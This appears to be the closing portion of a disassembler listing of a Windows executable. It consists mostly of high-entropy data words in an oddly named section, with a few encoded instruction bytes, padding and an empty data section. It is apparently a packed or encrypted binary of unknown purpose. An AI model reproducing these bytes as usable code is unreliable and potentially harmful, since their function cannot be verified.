		dd 0F081A14Ch, 0A3ECB5BDh, 0D182BAB7h, 42889A30h, 2D9E2F49h
		dd 0B37D3051h, 76658FB2h, 9E3889E5h, 9B03C42Ah,	0D32CEC50h
		dd 0E4B8290Bh, 6F28610Bh, 60F56E50h, 7AF44B7Eh,	7B4F68ADh
		dd 8D5000B4h, 0AA2B02FBh, 6EA6366h, 0B1F2A361h,	0DBA8CC28h
		dd 50E376Bh, 9012A901h,	3E505387h, 687DA055h, 0E13A87BCh
		dd 86E64AFh, 0A597FD16h, 5F9828ECh, 91E665Bh, 1ED24E6h
		dd 235F7A01h, 0ACD611EFh, 0CACAE29Bh, 0C954FC06h, 18E9BA4Ch
		dd 0AF8A20B8h, 69CB218Bh, 3BD41428h, 3C5A3297h,	0A908370Ah
		dd 0FF99715Fh, 8B5C73A2h, 84782084h, 2FE82149h,	0F7820C32h
		dd 74F8BCA9h, 3832C438h, 6395278Dh, 5596EEEAh, 371C2C59h
		dd 5966DADCh, 0A6542D6Fh, 66C8B6FBh, 0B9B859F8h, 0DE1112E7h
		dd 4779C4F8h, 85C66E03h, 345E9C9h, 9D57C85Fh, 0A558E8ACh
		dd 45AA3ECh, 6BE454B1h,	929F8227h, 427A081Dh, 0F5E6E74Eh
		dd 4541E713h, 0A61A0B87h, 6FB1EC40h, 0AD0F964Bh, 6B96B0D1h
		dd 74BFF87Eh, 0F7A030E4h, 0C02C4D87h, 93BC4594h, 79540109h
		dd 6A4F2874h, 1D2E3FFFh, 4BC43601h, 0B1FE60F2h,	9EAD3507h
		dd 7E30BE83h, 41745190h, 0A1DA1A8Fh, 0F4E8480Ch, 0B4EAF35Ch
		dd 0BBFCA421h, 980ED2B7h, 0E8FC20D5h, 0C103D93Ch, 730C4C70h
		dd 0D4928ACBh, 0C5A0085Eh, 0EDA7985Eh, 66CFBE61h, 602EC710h
		dd 8F30707Dh, 0A4C39EF3h, 3BF741Fh, 28BC5FF5h, 942E2895h
		dd 86649638h, 0B2ECE284h, 0B77FB80Fh, 3760F0A4h, 80EC0DC7h
		dd 537C05D7h, 405C149h,	0AF68A131h, 0DDFED63Bh,	0CB054CA7h
		dd 0FD8A2133h, 19355AC5h, 0F3166E6Ah, 462AA372h, 0F132E3DDh
		dd 0E407E04Eh, 0C8D9C994h, 7BA45D75h, 0E93A9277h, 8770CE89h
		dd 3C3A6B81h, 0DB661C19h, 9EADB11Ah, 6263798h, 0AD1C3616h
		dd 6F612321h, 196A129Eh, 3370302Dh, 0DF9EEEBFh,	17410592h
		dd 3A82AAFDh, 4E90040h,	4766E934h, 0ACEBBBAAh, 99A3F652h
		dd 0B620A05Dh, 55ADBBE3h, 6FA9F629h, 0EBB23AD6h, 0D75E579Eh
		dd 38B44678h, 0CB548DFDh, 0F87A4961h, 0A3D5E727h, 55D62E2Ah
		dd 0F65C6E99h, 35676D30h, 0DF68D89Ch, 78EEF22Bh, 31B494ABh
		dd 79C32CB2h, 14250ABDh, 406BE7Ah, 4BEACC29h, 91B98B29h
		dd 0FF90D3D5h, 39B6C1Bh, 1A484D8h, 0E0AE4790h, 7B0F0FDh
		dd 25431E7Bh, 8B3FF49Fh, 0A83FDF75h, 14AEA815h,	0E5A5D73Bh
		dd 9EDE4CA1h, 494A0BEAh, 8D3F88B7h, 2091715Ch, 0D3FC85ADh
		dd 162EAAFh, 0A8D6D84h,	0A5FDFEDDh, 0B279D14Bh,	12ECA2D7h
		dd 0CEBA107Eh, 5D46E6Eh, 0C799DB59h, 71A24AE6h,	0EA28A865h
		dd 26D907F4h, 0F28C826Ah, 541F18EFh, 97405044h,	20CC6DE7h
		dd 0B35CA5F4h, 5CFB6169h, 0F48BA05h, 9854E791h,	6B741631h
		dd 0C15A2941h, 0FE0C35AFh, 1D5CDE23h, 0DC83F6C0h, 6886BFC8h
		dd 7F8B68D5h, 817A974Bh, 0E2104126h, 91AF247h, 17D524DDh
		dd 5CA2CB94h, 93AC7CF9h, 0CB47A96Fh, 1041061Dh,	0E775EE84h
		dd 4B2CCBFEh, 91B59D7Dh, 582F6A4Ch, 0ECD23B64h,	3DCEC09h
		dd 3916129Fh, 0B7428195h, 72918C86h, 827021C6h,	0E97AD2A7h
		dd 3D74103Dh, 0C0AC2973h, 731C6535h, 0AC886A0Eh, 0CF3CB0DCh
		dd 0C4E243D9h, 0CFE41471h, 5D6EC2E4h, 7ECF98C6h, 0D406610Ch
		dd 1ACB24D3h, 0A9A40500h, 9A42C87Ah, 6DDE6F77h,	7DBC2FF7h
		dd 3E254DEEh, 0E7596418h, 25E62E23h, 0D82848A9h, 97FE1E8h
		dd 847888F7h, 21BF4FFAh, 8E8EAC71h, 391A1B3Bh, 9E2FB867h
		dd 10E181ACh, 0C38C955Dh, 0F162DA5Fh, 0A7CE0491h, 0C824F53Bh
		dd 7BA45D8Dh, 115C989Ch, 72CA2002h, 556D7FFh, 0A524B76Fh
		dd 96ADB576h, 9FE1FC90h, 0BD5EA59Bh, 60BBA020h,	0B9EF8968h
		dd 6CF0206Fh, 893ED77Bh, 260B450Ah, 0D192833Bh,	0FF88E845h
		dd 0A80318BEh, 5B047D2Dh, 9DA7A5Dh, 4F53A3A4h, 0A16BCA6Eh
		dd 0D22CEC4Dh, 0CA02220Fh, 93EBBDEh, 0FB7EB743h, 44FCD22Ah
		dd 0F9728A87h, 0C652108Dh, 0FE8E9575h, 8529A51Ch, 71D32279h
		dd 1CD863C3h, 0F4C51E81h, 0BE83DB4Eh, 69EA6BB3h, 178080BDh
		dd 0A8DB437h, 0B1385942h, 0E9390A5Fh, 0A764705Ch, 82E19F24h
		dd 430E5751h, 26D53B62h, 3E207560h, 0B0C11E63h,	63AC757Dh
		dd 0B1427A7Fh, 949FAE70h, 0F4A58E73h, 30FC579Ah, 0C28A196Fh
		dd 67A2C890h, 2DF38FA3h, 0D2ECAC6Bh, 25366196h,	47459131h
		dd 0D67E56ABh, 9B46F8FCh, 310F89C7h, 1010C00Fh,	5AF7A56h
		dd 431C6C59h, 86A02EDFh, 9BEA23BDh, 4EF9E0EBh, 0EB7620CCh
		dd 0ADB512F7h, 574041A4h, 85C663EBh, 0E109D789h, 0D29E8F41h
		dd 431CD6A7h, 0A8212657h, 6B746AD3h, 0DB3207AEh, 4C23B0BDh
		dd 2DF5E26Bh, 0A8547F46h, 48EA0E7Ch, 0F4779730h, 0BD4C2EDEh
		dd 99979FD1h, 0D59F7B5Bh, 34A0309Fh, 0E0AF4621h, 93BC3E09h
		dd 3E1AD9E4h, 0EFB85846h, 0E9CCEE7Bh, 0F64FCBFEh, 795A203Fh
		dd 5336785Bh, 40DD416Ch, 3CCAEA1h, 326A5014h, 91C3446Fh
		dd 826B9F28h, 0BBF5C4B9h, 0B3FEDDB7h, 1400003Ch, 55C49276h
		dd 0BB95F49h, 0D929A8Dh, 4A175069h, 0FD9EE679h,	2052ECh
		dd 49E83A62h, 0D736736Dh, 4A423D1Bh, 5B814F86h,	11C2EABDh
		dd 787323F0h, 764D5907h, 70548490h, 714F8B1Bh, 0F860F0DFh
		dd 25E703A6h, 2BE93FA9h, 0E7F27A6Dh, 8A87A034h,	0DD024334h
		dd 4B0FF4C1h, 0D490945h, 93F6B89Dh, 282F81ACh, 0C38CEE61h
		dd 0F1C65F50h, 9AAB08E5h, 4D3E74D7h, 39CCE1F2h,	0A9B19267h
		dd 0D8CC87D6h, 5462301h, 3B8B2709h, 6196C980h, 4F5B7815h
		dd 0A919A599h, 0A99C5122h, 493802B7h, 52885D2h,	0E0895EA3h
		dd 0A3ECB20Bh, 0DE423FE5h, 0FF085FC0h, 2D12FFCBh, 0A4284451h
		dd 890EF7D8h, 89A0A05Dh, 6E23C1F6h, 982CFC69h, 2992BA9h
		dd 9AD00841h, 0A4417908h, 0DB060C3Ch, 0FABD9707h, 3712AC08h
		dd 2D533D13h, 0A5C7CDBh, 0A1A07E9Ah, 0E46843A5h, 1DAC2AAEh
		dd 7C56B1h, 79B8B2B2h, 0AAE9F2BDh, 0B506AE43h, 0EC64EBBBh
		dd 0AC120A4Fh, 8E13C49Bh, 3F1D6470h, 4F21AFF1h,	0AC2AD225h
		dd 177473E1h, 71B92F8Ch, 88DD50DDh, 14CDB964h, 0BFD8EA9Dh
		dd 95FB5DEBh, 0F3D41453h, 0B6A5C604h, 77E0C97Ch, 0AB130EA3h
		dd 0A1E0FB02h, 935D1A6h, 0D0C49A3Ah, 5237B944h,	74FAC6C4h
		dd 9DB62938h, 0CE9477CCh, 0EA69FED3h, 1F7C3A6h,	1186105Eh
		dd 0D1C88865h, 0C12576D8h, 3FB16355h, 0A0BA02B5h, 470280F8h
		dd 0D7FE303h, 0B04C9CA0h, 0F190B28Ah, 0AAFD9E95h, 3E180D55h
		dd 294F40E3h, 62AC442Bh, 94F17745h, 0F0F6DE33h,	0AA7C0CB9h
		dd 0F5DC679h, 0EA773F06h, 0AD1EA835h, 0D48B2C10h, 91BE8D2h
		dd 5DF470DDh, 9AD9244Bh, 8392A27Ch, 9EF22F6Fh, 0EEBD50FAh
		dd 91D6067Bh, 0A33BCBE5h, 794A6296h, 0E1A4F55Eh, 8633D2FAh
		dd 71A98F7Ch, 701B6EF6h, 135DB725h, 726E66E9h, 0ABCA96A4h
		dd 0BDFF5BB7h, 0FF00107Fh
		dd 45862EDAh, 1258391Ah, 0D6DDEFA4h, 0BC6ADD3Bh, 0ADEE8FB3h
		dd 42527D13h, 3CCD278Bh, 0DAD8276Dh, 5D49611Bh,	0E33CCC6Ah
		dd 74909FACh, 4D275CF6h, 4BC066Eh, 0FE38EDE7h, 9EDAD770h
		dd 888DF75h, 25F4E6DCh,	363F3CA9h, 0EA910B6Dh, 0DD28E8C0h
		dd 0B197B052h, 0BE193A4h, 0D128CA10h, 7F78AF32h, 0C6167E53h
		dd 0A2F4EFBCh, 0BF47BD31h, 79C17C8Ah, 245C6612h, 1ED80D87h
		dd 0FE3AF710h, 28273F15h, 8812BE7Ch, 23F18C8Ch,	3136208Fh
		dd 708F797Fh, 0AD604C0Eh, 0CFD85D21h, 274C9758h, 87DA303Dh
		dd 343EE33Eh, 0F3AC8C29h, 413745EFh, 9708F878h,	2D8A16CAh
		dd 0C152E05h, 0CBCEE728h, 0DD74A04Dh, 705999E7h, 133CBE3Dh
		dd 0BEA6EE6Ch, 7F7A14C0h, 0FF2B79FBh, 9444A4BFh, 0B17F6FC4h
		dd 715000CCh, 6BB0ABECh, 7BDF6C89h, 0A6695E0h, 5668C8A5h
		dd 1DACAEAEh, 6D744EB1h, 5758C7C8h, 570580ADh, 0C5A22A4Ch
		dd 33A7DCC9h, 22785A1Fh, 27995285h, 0BD1E665Bh,	0E9316BB7h
		dd 5A2AD259h, 83BF0F15h, 35361874h, 21E0C970h, 1CCF7A6Fh
		dd 0BFD8EA65h, 0AF264306h, 49850401h, 0B60A32FDh, 67DE0E88h
		dd 5A9E0DA3h, 0D6393826h, 118EAAFh, 6DA4ADCAh, 0C88146ABh
		dd 8B144A2Bh, 0B6755A44h, 0E7156EC9h, 651377D3h, 701C3C1Bh
		dd 20615916h, 9B42D935h, 911B49BAh, 434F433h, 39845462h
		dd 5880C57Dh, 85C3F487h, 3A85AF89h, 0F190BE8Ah,	5E09A995h
		dd 32DE3973h, 0FE9B04A1h, 99FABCA9h, 437F7028h,	0F5F6DB60h
		dd 61048930h, 0E9C13A2Fh, 7F881A2Eh, 5A36DDC0h,	0CBAD4054h
		dd 91AF257h, 34A655FDh,	753626E6h, 907E4FE9h, 36C35DAEh
		dd 6B3D5114h, 0A53E1639h, 4BC41D8Eh, 7A76290Ch,	0B7C0F888h
		dd 0D6848D93h, 0F42D1BD8h, 4DE7937Eh, 9CE85867h, 8B25C1A4h
		dd 36C147C8h, 5E75CAE4h, 0C703147Eh, 6D47458Ah,	498D8C4Ah
		dd 0CFFBFD90h, 4C05CCACh, 8F9FEAA1h, 176F9F81h,	5ABE006Ch
		dd 0C3BD602Fh, 6C4161BBh, 66070D5Ah, 11D2B88Fh,	1B1CA346h
		dd 0E20E651Bh, 9B543C13h, 6517117h, 4AEDEB76h, 25F64F6Bh
		dd 60B3B755h, 0E0CEC6E6h, 0D5449EC7h, 0FDD2C44Ch, 7FD8C86Bh
		dd 4D241EABh, 12906C10h, 1EDF9DBBh, 9BD991D8h, 0FA56DA1Ah
		dd 4DEB5BD8h, 7EAB396Bh, 0F04B9B0Eh, 0E06DAF74h, 53CF83B3h
		dd 0FAB911A5h, 668F4B34h, 7AD645C1h, 0B22787EAh, 8F6DE5CCh
		dd 14F4502Eh, 4957FD58h, 48BF647Eh, 8A895B37h, 4B27BFC6h
		dd 2E7D4492h, 5E0F830h,	0C571E937h, 0A4EBBA70h,	7776F6D8h
		dd 65135FA2h, 0E5A6D80Bh, 0EC4F1469h, 415AD510h, 32385875h
		dd 0A9AD6B7Ah, 31ADB491h, 9DCAE204h, 92DB2272h,	55C67C6Bh
		dd 0E57EE5FDh, 0EBAFA49Eh, 0DC8B4DAAh, 5365F62Bh, 5DAA278Dh
		dd 2CAA69B6h, 945305B2h, 86F1AE43h, 0F3ACDCDFh,	0E797054Fh
		dd 0B99838D6h, 721C3A18h, 0ABA72865h, 0D1694967h, 0A71050D0h
		dd 9BB211D3h, 5EBC4CFAh, 0B1625A5Fh, 0BC6B2C0Ah, 66C5D68Bh
		dd 1BD404D9h, 0A10B2474h, 881F8F95h, 0E7DA03A0h, 1DEFBC39h
		dd 1328B2Ch, 2FBC79B6h,	0A280DD53h, 0F1867BBEh,	3A8AA2C4h
		dd 0F75210E8h, 571DFED3h, 5356A751h, 75D19BF4h,	9AC34856h
		dd 87277EE8h, 7BB16D61h, 2ABA02B5h, 57F84C37h, 0D4C66F03h
		dd 4CAA2261h, 6347FAF0h, 0BE58E8ACh, 0BE6B163Bh, 1644498h
		dd 0C1237C07h, 6398A4D5h, 700921D5h, 0E1E8036Bh, 0C433D8ECh
		dd 7F985141h, 28F973A0h, 0DB84FD55h, 81AF257h, 0B25702A9h
		dd 653677E7h, 93AC7CEAh, 64B3A61Ah, 0EFA8E171h,	0E6C1F984h
		dd 0C6453EEAh, 795A5B03h, 0AFD0900Dh, 0D556B8FBh, 5B4B519h
		dd 69621A9Fh, 0A00E1ECDh, 0F1EBFC54h, 3DF4B408h, 0D006F833h
		dd 9288002Dh, 459617BFh, 0F6FBBCABh, 0A182B34Bh, 0CF18B85Dh
		dd 401EEFAEh, 2B342D1Fh, 0AE6F36E6h, 9709F4E8h,	0B5B69EF3h
		dd 6327B871h, 1FB8642h,	8F3C2D85h, 54B3EB8Bh, 0EF518481h
		dd 0B76732B0h, 0F260F0A4h, 0A0119057h, 537C052Dh, 91F26A2Fh
		dd 12F891C1h, 0DDEEFF47h, 880D83C3h, 2948E6E2h,	0C17850CDh
		dd 7DE981A1h, 3C63519Ah, 0F120ABB7h, 633583E5h,	4E2E2629h
		dd 6BF6E46Ch, 55617A77h, 53CF3F02h, 546ECD2h, 71B4A982h
		dd 3FD94A9Fh, 67067B29h, 42A15BC7h, 0E9DF562Eh,	53EB02A7h
		dd 47F05009h, 2788D553h, 0B7868F6Fh, 2692C0BCh,	0EF316CC0h
		dd 2D8E16CBh, 0D2003171h, 99D8BA6Ah, 27952D5Dh,	6EA6DEDAh
		dd 33C94E4h, 1616D9EFh,	6F323CCCh, 9D0B0BFBh, 3844A491h
		dd 1ACA53A2h, 0D0F4E38Fh, 45EFBA96h, 835C6C99h,	1F66953Fh
		dd 2068C8A5h, 0DC06DE58h, 0B08BDB5Ch, 79B8EAA2h, 985205BDh
		dd 0C50636C7h, 8B3957C9h, 0AA121A0Dh, 519289Fh,	7D1E067Fh
		dd 0A3EEBF01h, 1019C014h, 3CA482EEh, 252676FEh,	0B31C7F9h
		dd 0E3426A6Fh, 9BF42353h, 0FD267308h, 98D40401h, 495A5A30h
		dd 0D6B601Dh, 0AD2C8FABh, 246B4B2Ah, 43FE6F24h,	0AA0F1825h
		dd 5D6E7F3Fh, 8B047401h, 0A17DA0B3h, 0CE1CA24Eh, 0D12377E3h
		dd 0C81C3C1Bh, 41A372ACh, 0A6AC0D92h, 0CDEEB6FBh, 0F940E471h
		dd 0C1EB0A00h, 0A8BFBC56h, 86CA855Ah, 0C167B4FAh, 12849B03h
		dd 8201A731h, 2DE7B6AEh, 0A3D9DDA1h, 6AEA9265h,	0C82EEF09h
		dd 727B4C02h, 237C0D86h, 6880AF05h, 79FD68D5h, 0FB764422h
		dd 52F2D6E5h, 2EF21B07h, 6D5FDF07h, 662A04E8h, 165B6CA3h
		dd 0C12293EBh, 0CFB8D8F5h, 683B47F6h, 8F49BD12h, 7A4A72C5h
		dd 0B7C0F888h, 0BDF13D93h, 3DCEC19h, 0B84A59B4h, 5FE81BA2h
		dd 0CDEB81ABh, 0BAF4B40Eh, 9D7AD2B7h, 1F43C73Ah, 0E5268E63h
		dd 4A88D9BEh, 0A1928ADFh, 0C86CA855h, 0AC50E89h, 0A07EEB9Eh
		dd 49E8866Ah, 0E35936Dh, 0B85DB6B8h, 0A1FC41F2h, 1321FAEFh
		dd 74C32B6Eh, 0E94BA123h, 985494A8h, 0BDDAB217h, 3FE56B89h
		dd 26E61E61h, 432E8C24h, 2D77692Fh, 0AE7888F7h,	0CDB44D33h
		dd 49F8714Ah, 73332257h, 0EE9323C5h, 0D7177619h, 9BFF2FC9h
		dd 75A7515Fh, 77A818A7h, 4D2E1FFBh, 22BC26F0h, 236AD176h
		dd 0C7F94268h, 81C31983h, 33CC0C30h, 15724A8Fh,	0E7557B13h
		dd 0B5EB68Bh, 6F612321h, 196A129Eh, 32F0322Dh, 82B0A0A7h
		dd 0B3C508BCh, 0D582BABFh, 750E9D45h, 3DB7957Eh, 0DF91B351h
		dd 899A62EEh, 0C220A01Dh, 0E7A144E8h, 0C52E56ABh, 4859DD0Dh
		dd 0AD0A5FFFh, 7F688451h, 0AF968776h, 76AEC08Ch, 9AD3488Fh
		dd 55C67C4Fh, 3CD86399h, 4E1D65E5h, 0CF2AB010h,	0BF7B092Bh
		dd 0C474348Fh, 79B82682h, 0B1157FBDh, 4806BE7Dh, 0E3CEBC44h
		dd 4987874Fh, 1E982897h, 821E0C09h, 0BBE6C854h,	7FBF3D67h
		dd 0F8B0E0D3h, 257442C6h, 4529B3F9h, 1C426A41h,	0AF89E0B0h
		dd 0B5FB298Bh, 4DD41453h, 77F8A768h, 0D263600Dh, 0A576CCFFh
		dd 0D3047F29h, 5C72EAAFh, 0C279195Fh, 5D6E7E34h, 4A0B8419h
		dd 0A99F2242h, 24D0554Dh, 0E5693650h, 0C399ED56h, 0B2A24ACAh
		dd 0B5289858h, 0ABB2C3EBh, 0F71098F0h, 3ACF639Bh, 0A884A81Dh
		dd 80B391FCh, 4CB62961h, 1E0022F0h, 2139076Ah, 6BA60BE4h
		dd 4EDC4695h, 0F9EA8227h, 388F1545h, 7ECFABCCh,	0AE4C28FDh
		dd 4143728Ah, 77D8E3C5h, 0AB34172Dh, 8DB1B7D3h,	0F61AF23Fh
		dd 5D64ABDDh, 9A761C63h, 83928E7Ch, 0C9F6296Fh,	0D0E4E674h
		dd 1E4B5A44h, 0A3C0F282h, 86B598E5h, 582FEFE5h,	6D95DF6Ch
		dd 3DCEC6Dh, 1EDAAB74h,	0B7E84825h, 8D6E76B6h, 3F484F3h
		dd 0E97AD287h, 170010D5h
		dd 45A2ECC3h, 730DD9F1h, 0A19162CFh, 0E3DAB855h, 0D9CA6BDBh
		dd 0A80AD96Dh, 40D6421Fh, 8730980Dh, 0E13D9EF3h, 6861FC5Dh
		dd 772F7BE5h, 0D74838BCh, 9231B6ECh, 9B5046F0h,	0CADDB315h
		dd 8A2E698h, 62966768h,	119415FFh, 0FF8B0100h, 8E8h, 0E890F800h
		dd 66h,	0FF6467FCh, 67000036h, 268964h,	8700EB00h, 0E800EBDBh
		dd 45h,	0DB87DB87h, 2038EF81h, 13BDFFEFh, 0F800002Ah, 8100E183h
		dd 75C1h, 57FCFC00h, 786FC90h, 3166DB89h, 23Dh dup(0)
		dd 7FFDA000h, 134Ch dup(0)
sdfs____	ends

; Section 5. (virtual address 00233000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00233000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 633000h
		align 2000h
_idata2		ends


		end start